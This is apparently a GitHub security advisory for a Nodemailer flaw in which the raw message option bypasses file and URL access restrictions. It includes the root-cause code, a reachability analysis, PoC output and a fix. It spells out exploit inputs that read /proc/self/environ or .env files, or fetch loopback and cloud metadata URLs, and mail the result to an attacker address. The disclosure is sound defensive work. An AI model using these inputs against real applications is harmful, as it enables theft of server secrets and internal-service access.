Skip to content

Nodemailer: Message-level raw option bypasses disableFileAccess/disableUrlAccess, enabling arbitrary file read and full-response SSRF in the delivered message

High severity GitHub Reviewed Published Jun 17, 2026 in nodemailer/nodemailer

Package

npm nodemailer (npm)

Affected versions

<= 9.0.0

Patched versions

9.0.1

Description

Message-level raw option bypasses disableFileAccess / disableUrlAccess, enabling arbitrary file read and full-response SSRF in the sent message

  • Target: nodemailer/nodemailer, npm nodemailer v9.0.0 (HEAD 4e58450eb490e5097a74b2b2cce35a8d9e21856e)
  • Verdict: CONFIRMED (local PoC, no network)

Summary

Nodemailer exposes disableFileAccess and disableUrlAccess so an application that passes
untrusted message data to the library can forbid that data from reading local files or
fetching URLs. Every attachment, alternative, html/text/watchHtml/amp and icalEvent
content node honors these flags. The message-level raw option does not.

MailComposer.compile() builds the root MIME node for a raw message without threading the
two flags, so a raw: { path: '/etc/passwd' } or raw: { href: 'http://169.254.169.254/…' }
message is read / fetched anyway, and the file or HTTP-response bytes become the actual
message that is sent
by every transport (SMTP, SES, sendmail, stream, JSON). An actor whose
input the application intended to sandbox therefore obtains arbitrary local-file disclosure and
a full-response SSRF primitive, delivered to a recipient the same actor can choose.

This is the same vulnerability class as the already-published jsonTransport advisory
GHSA-wqvq-jvpq-h66f, but a distinct code path (raw root node, not normalize()), and
strictly higher impact: the jsonTransport bug only affected the locally-returned JSON, whereas
this affects the delivered RFC822 message for all transports.

Affected component

  • lib/mail-composer/index.js:34-35 — root cause:
    if (this.mail.raw) {
        this.message = new MimeNode('message/rfc822', { newline: this.mail.newline }).setRaw(this.mail.raw);
    }
    The MimeNode is constructed with only { newline }. Compare the sibling node builders
    _createMixed/_createAlternative/_createRelated/_createContentNode
    (lib/mail-composer/index.js:389-527), which all pass
    disableUrlAccess: this.mail.disableUrlAccess, disableFileAccess: this.mail.disableFileAccess.
  • lib/mime-node/index.js:51-52 — the constructor derives this.disableFileAccess/
    this.disableUrlAccess solely from its own options; children do not inherit a parent's
    flags (createChild/appendChild, lines 175-194, pass options through verbatim).
  • lib/mime-node/index.js:812setRaw() content is resolved through this._getStream(this._raw).
  • lib/mime-node/index.js:984-1010_getStream reads the file (fs.createReadStream, 995) or
    fetches the URL (nmfetch, 1009) only guarded by this.disableFileAccess/this.disableUrlAccess,
    which on the raw root node are false.
  • Reached from the normal send flow at lib/mailer/index.js:188
    (mail.message = new MailComposer(mail.data).compile()), so every transport is affected.

Reachability gate (hop-by-hop)

  1. Source. Application calls transporter.sendMail({ raw: <userControlled> , to: <userControlled> })
    with disableFileAccess: true and/or disableUrlAccess: true configured on the transporter
    (forced onto mail.data in lib/mailer/mail-message.js:36-40) or per message. This is the
    exact scenario the flags exist for — the same precondition under which GHSA-wqvq-jvpq-h66f was
    accepted.
  2. Guard — the access flags. For attachments the flag is enforced: a node created by
    _createContentNode carries disableFileAccess, so _getStream throws EFILEACCESS.
    Bypass: the raw branch (compile():34-35) never sets the flag on its node, so
    this.disableFileAccess === false and the guard at mime-node:985 / :999 is skipped.
    There is no other validation between mail.raw and the read; raw content shapes
    ({path}, {href}, stream, string, buffer) are accepted as-is by setRaw/_getStream.
  3. Sink. fs.createReadStream(content.path) (file disclosure) or
    nmfetch(content.href, …) (SSRF). The resulting bytes are emitted as the message body by
    createReadStream(), which every transport pipes to its destination
    (smtp-transport:233, smtp-pool/pool-resource:208, ses-transport:96, sendmail-transport:184,
    stream-transport:67).

No guard blocks the chain; the only guard (the access flags) is structurally absent on this node.

Root cause

Inconsistent enforcement: the access policy is applied per-MimeNode via constructor options and
must be re-passed at every node creation. The raw-message shortcut in compile() omits it,
while all five other node builders include it. The flags are therefore enforced for every content
type except the one that lets the caller supply a complete message body by path/URL.

Exploit path

Application that sandboxes untrusted mail input (disableFileAccess/disableUrlAccess set):

  1. Untrusted actor supplies raw: { path: '/proc/self/environ' } (or any server file:
    /app/.env, key material, etc.) and to: attacker@evil.test.
  2. compile() builds the raw root node without the flags; the transport reads the file and sends
    its contents as the message → arbitrary server-file exfiltration to an attacker-chosen mailbox.
  3. Alternatively raw: { href: 'http://127.0.0.1:8080/admin' } or a cloud metadata URL →
    Nodemailer fetches it server-side and delivers the full response body in the email →
    full-response SSRF (no blind-channel limitation).

Impact

  • Confidentiality (High): arbitrary local file read disclosed in the outgoing message;
    full-response SSRF to internal/metadata endpoints, also disclosed in the message.
  • Integrity (Low): attacker-fetched/file content is injected into the delivered mail.
  • The two protective flags an application relies on to contain untrusted input are silently
    ineffective for raw.

Preconditions

The application (a) passes disableFileAccess and/or disableUrlAccess (the documented sandboxing
flags) and (b) lets untrusted input influence the raw field (and, for maximal disclosure, to).
No other configuration is required; all bundled transports are affected. This mirrors the accepted
precondition of GHSA-wqvq-jvpq-h66f.

Severity

  • AV — message data routinely originates over the network in the apps these flags protect.
  • AC — a single crafted raw object; deterministic.
  • PR — the actor is a user whose input the app already treats as untrusted (the reason the
    flags are set); not fully anonymous in the typical deployment.
  • UI — no victim interaction.
  • S — impact within Nodemailer's process scope.
  • C — arbitrary file read and full-response SSRF, both delivered to an attacker-chosen
    recipient. (The sibling jsonTransport advisory used C:L because its leak stayed in locally-returned
    JSON; here the bytes leave the system in the sent message, so C:H is warranted.)
  • I — attacker injects fetched/file bytes into the outgoing message.
  • A.
    Note: if a deployment fixes the recipient (to not attacker-controlled) the disclosure channel
    narrows and the rating degrades toward the sibling's Medium; the High rating reflects the
    reasonable worst case where raw and to are both untrusted.

Adversarial re-read (attempts to refute)

  1. "raw content is by-design trusted, so the flags shouldn't apply." Rejected: every other
    content path (attachments, alternatives, html/text, icalEvent) honors the flags, and the
    maintainer already accepted GHSA-wqvq-jvpq-h66f for exactly this "untrusted input + flag set"
    model. The asymmetry — attachment {path} is blocked but raw:{path} is not — is the bug, and
    the PoC's CONTROL case proves the flag is otherwise effective on the same file.
  2. "The raw node inherits the flags via rootNode." Rejected by code and by PoC: compile():35
    constructs the node with { newline } only; MimeNode constructor sets
    this.disableFileAccess = !!options.disableFileAccessfalse; rootNode is itself; no
    inheritance exists.
  3. "The PoC leaks for an unrelated reason." Rejected: the CONTROL message (attachments:[{path}],
    same file, same transporter) returns EFILEACCESS; only the raw:{path} message leaks. The
    sentinel nonce exists solely in the temp file; the URL nonce is generated server-side and is only
    obtainable by an actual fetch. Both observables are uniquely bound to the bypass.
  4. "Maybe only jsonTransport (already reported) is affected." Rejected: the PoC uses
    streamTransport and the root cause is in MailComposer.compile() (mailer:188), shared by all
    transports; jsonTransport is a different (already-fixed) path.

I could not find any guard that blocks the chain; the finding survives.

Proof of concept (safe, benign)

findings/nodemailer/raw/poc-raw-fileaccess-bypass.js — local, no network egress (loopback only),
no destructive action. Output:

[CONTROL] attachment path with disableFileAccess: BLOCKED (EFILEACCESS) — flag works here
[ATTACK]  raw:{path} with disableFileAccess=true: BYPASSED — sentinel file CONTENT present in message
[ATTACK]  raw:{href} with disableUrlAccess=true (loopback server): BYPASSED — fetched body present (SSRF)
VERDICT: CONFIRMED

Run: node findings/nodemailer/raw/poc-raw-fileaccess-bypass.js (exit 0 = confirmed).

Remediation

Thread the access policy onto the raw root node, exactly as the other builders do:

if (this.mail.raw) {
    this.message = new MimeNode('message/rfc822', {
        newline: this.mail.newline,
        disableFileAccess: this.mail.disableFileAccess,
        disableUrlAccess: this.mail.disableUrlAccess
    }).setRaw(this.mail.raw);
}

(Defense in depth: setRaw/_getStream could also refuse {path}/{href} raw content when either
flag is set, regardless of how the node was constructed.) Add a regression test asserting that
raw:{path} and raw:{href} reject with EFILEACCESS/EURLACCESS when the flags are set, mirroring
the attachment tests.

References

@andris9 andris9 published to nodemailer/nodemailer Jun 17, 2026
Published to the GitHub Advisory Database Jun 18, 2026
Reviewed Jun 18, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

EPSS score

Weaknesses

External Control of File Name or Path

The product allows user input to control or influence paths or file names that are used in filesystem operations. Learn more on MITRE.

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-p6gq-j5cr-w38f

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.